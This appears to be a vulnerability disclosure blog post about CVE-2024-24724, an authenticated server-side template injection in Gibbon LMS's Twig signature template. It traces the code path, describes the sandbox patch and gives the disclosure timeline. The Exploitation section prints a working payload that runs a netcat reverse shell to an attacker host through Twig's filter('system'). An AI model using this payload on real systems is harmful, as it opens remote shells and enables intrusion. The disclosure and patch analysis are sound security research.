header
CVE-2024-24724 - Exploiting SSTI(Server Side Template Injection) Vulnerability in Gibbon LMS <=26.0.0
SecondX 08 Apr 2024

CVE-2024-24724 - Exploiting SSTI(Server Side Template Injection) Vulnerability in Gibbon LMS <=26.0.0

In January 2024, our team have reported an authenticated remote code execution vulnerability to Gibbon. The bug originated from evaluation of arbitrary Twig template expressions supplied by web user.

The vulnerability is patched by the Gibbon team and will be included in v27.0.00 release. CVE-2024-24724 was issued.

This blogpost describes how this bug was discovered, exploited and mitigated.

Discovery

In a regular Security Research, direct source code analysis(whitebox approach) is the way to go for covering the real attack surface of the underlying app fully. As we were looking for quick wins for saving time and resource, at some point, we decided to go with a more efficient approach. The Gibbon Lms source code base was huge, so direct Source code auditing wasn’t really best way to spend the time. While auditing this kind of apps with huge code base, it is not very practical to just relay on either only blackbox or whitebox approaches. Only blackbox - leading to realize the app’s surface while exploring app’s functionalities in a visual and engaging way but it lacks being able to cover hidden bugs in source code level(for example, complex input sanitization bypass bugs). Only whitebox - It is more reliable approach in theory if the experience, time and resource are enough to be able to cover every aspect, but in this kind of research engagements, it mostly acts as a rabbit hole as there can be millions of lines of code base to be analyzed and weaponized.

Our solution was to combine both of these in most efficient way. So we decided to go from blackbox to whitebox - blackbox would give us hints about functionalities easily and if they would look fruity to investigate we would go further to whitebox side and trace the input from sources to sinks to uncover potential exploitation contexts hidden in source code.

Going further with this, we stumbled upon an interesting functionality under Admin → School Admin → OTHER → Messenger Settings → Signature . Basically, it is a signature generation functionality from user given templates to be sent in future message contexts:

As it is seen from the above screenshot, it directly gives us a context in ‘Signature Template’ comments that it uses Twig Templating Engine under the hood for rendering the context.

Twig is a modern template engine for PHP. This allows Twig to be used as a template language for applications where users may modify the template design.

Template engines work via processing predefined expressions from a ‘template’ structure to a standalone view. These expressions can be functions, filters, equations and etc.

Twig allows interaction with underlying OS by design in various ways for example, via Twig filters. That means RCE can be possible if relevant protections aren’t in place for preventing direct interaction with OS.

An example graph showing the testing case can be:

So here, a template payload like ‘{{7*7}}’ is given as input to an unknown context and if this evaluates to ‘49’ that would mean there is a templating mechanism on place. This was the case in the context of Gibbon LMS, so we decided to deep dive and try to discover and exploit the possible issue(s).

So let’s try to trace the paths the input goes, firstly when the edited template payload is submitted for save, a POST request like this is sent:


POST /modules/School%20Admin/messengerSettingsProcess.php HTTP/1.1
Host: 127.0.0.1:8000
...
...
Cookie: <session_cookie>=<value>

-----------------------------393207314624439081862710292445
Content-Disposition: form-data; name="address"

/modules/School Admin/messengerSettings.php
-----------------------------393207314624439081862710292445
Content-Disposition: form-data; name="signatureTemplate"

<span style="font-weight: bold; color: #447caa;">{{ preferredName }} {{ surname }}</span><br />{% if jobTitle is not empty %}<span style="font-style: italic;">{{ jobTitle }}</span><br />{% endif %}{{ organisationName }}<br /></span>
-----------------------------393207314624439081862710292445

The request is sent to ‘messengerSettingsProcess.php’. The ‘signatureTemplate’ parameter contains the Twig template payload to be saved. When navigating to the relevant source code, in line 26 of ‘messengerSettingsProcess.php’:

$_POST = $container->get(Validator::class)->sanitize($_POST, ['signatureTemplate' => 'RAW']);

The value of 'signatureTemplate' is first given to a function named ‘sanitize’ from ‘Validator’ Class. As seen from the name , the functions seems to be used for some kind of sanitization, when navigated to relevant code piece for the function in Validator.php:

public function sanitize($input, $allowableTags = [], $utf8_encode = true)
    {
        ...
        ...
        // Process the input
        foreach (array_keys($input) as $field) {
            ...
            ...
            if (is_string($value)) {
                // Strip invalid control characters (borrowed from wp_kses)
                ...
                ...
                // Sanitize HTML
                if (!empty($allowableTags[$field])) {
                    if (strtoupper($allowableTags[$field]) == 'RAW') {
                        $output[$field] = $value;
                        continue;
                    }

                    if (strtoupper($allowableTags[$field]) == 'HTML') {
                        $allowableTags[$field] = $this->allowableHTML;
                    }

                    $value = $this->sanitizeHTML($value, $allowableTags[$field]);
                    // Handle encoding if enabled
                    ...
                    ...
                } else {
                    $value = strip_tags($value);
                }
                ...
                ...
            }

            $output[$field] = $value;
        }
        return $output;
    }

As it is observable from the above code piece, it seems to be used for preventing Html context escapes(example: XSS), so this shouldn’t have anything to do With Templating(Twig) process. We can go further now.

After this, some type validation, value assignment operations are done in next lines of ‘messengerSettingsProcess.php’ code. Then field update process is done by following code piece:

 
    foreach ($settingsToUpdate as $scope => $settings) {
        foreach ($settings as $name => $property) {
            $value = $_POST[$name] ?? '';
            if ($property == 'skip-empty' && empty($value)) continue;

            $updated = $settingGateway->updateSettingByScope($scope, $name, $value);
            $partialFail &= !$updated;
        }
    }
 

Iterates through all Post request elements(which includes ‘signatureTemplate’ payload) and calls the ‘updateSettingByScope’ function from settingGateway. When navigating to that code piece:

    public function updateSettingByScope($scope, $name, $value)
    {
        $data = ['scope' => $scope, 'name' => $name, 'value' => $value];
        $sql = "UPDATE gibbonSetting SET value=:value WHERE scope=:scope AND name=:name";

        return $this->db()->update($sql, $data);
    }

It shows that there is also nothing done here except saving the values to database.

Now the date is stored and there seems to be nothing done related to templating structure. Let’s trace the execution flow of the template payload.

After the saving process, there is a second request made for the preview of provided template payload.

<http://127.0.0.1:8000/index.php?q=/modules/School%20Admin/messengerSettings.php&return=success0>

When navigating to the messengerSettings.php code, in the line 26:

$signature = $container->get(Signature::class)->getSignature($session->get('gibbonPersonID'));

The ‘getSignature’ function is called within current user session. The function’s source code:

    public function getSignature($gibbonPersonID)
    {
        $signature = '';
        ...
        if ($result->rowCount() == 1) {
            $values = $result->fetch();

            $signatureData = $values + [
                'organisationName' => $this->session->get('organisationName'),
            ];
            $signature = '<p></p>'.$this->view->fetchFromString($this->signatureTemplate, $signatureData);
        }

        return $signature;
    }

As we can see from line 11, it calls fetchFromString function with the ‘signatureTemplate’ payload as input. The function source:

    public function fetchFromString(string $templateString, array $data = []) : string
    {
        $template = $this->templateEngine->createTemplate($templateString);
        return $template->render($data);
    }

it basically renders the given template string and returns it. Rendering happens here and there wasn’t any kind of prevention mechanism implemented until here and dangerous user input directly goes to Twig Engine, which theoretically and practically leads to RCE in the underlying OS.

Exploitation

As this case outlines the flow which proves the exploitation possibility, we crafted an exploit code which automates both processes, template payload storage and render triggering.

The RCE payload we used in exploit code is like:

{{['rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {attacker_ip} {attacker_port} >/tmp/f']|filter('system')}}

so the payload consists of a ‘used in the wild’ netcat reverse shell command which is piped into Twig filter using PHP system function as variable. As ‘system’ function is used for command execution in OS, this ultimately leads to RCE.

The poc.py code usage:

Usage: python3 poc.py <target_host> <target_port> <attacker_ip> <attacker_port> <email> <password>

The code can be ran like this while an active listener(exp: netcat, for receiving and sending command inputs and outputs) is in place:

Voila, RCE is achieved!

Patch

So the developers now implemented a sandbox environment which have an allowed list of attributes(tags, filters, methods, properties, functions). This prevents use of dangerous expressions like the one we used in filter(’system’). The added code piece for doing defining a sandbox policy is as below:

   ...
   protected function getSecurityPolicy() : SecurityPolicy
    {
        // Define a sandbox security policy
        $tags = ['if', 'for', 'set', 'with'];
        $filters = ['abs','capitalize','country_name','currency_name','currency_symbol','date','date_modify','default','escape','first','format','format_currency','format_date','format_datetime','format_number','format_time','join','keys','language_name','last','length','locale_name','lower','merge','nl2br','number_format','replace','round','slug','spaceless','split','title','trim','upper','url_encode'];
        $methods = [];
        $properties = [];
        $functions = ['range','date','random','min','max','cycle'];

        return new SecurityPolicy($tags, $filters, $methods, $properties, $functions);
    }
    ...

Timeline

Date Action
18-01-2024 Reported the issue to Gibbon
21-01-2024 Developer made the patch
01-04-2024 CVE Number CVE-2024-24724 published

 

Summary

In conclusion, we have successfully identified and exploited an SSTI vulnerability in Gibbon LMS, and our efforts have contributed significantly to its effective mitigation. This endeavor highlights the importance of continuous vigilance and proactive security measures in software systems.

Related Links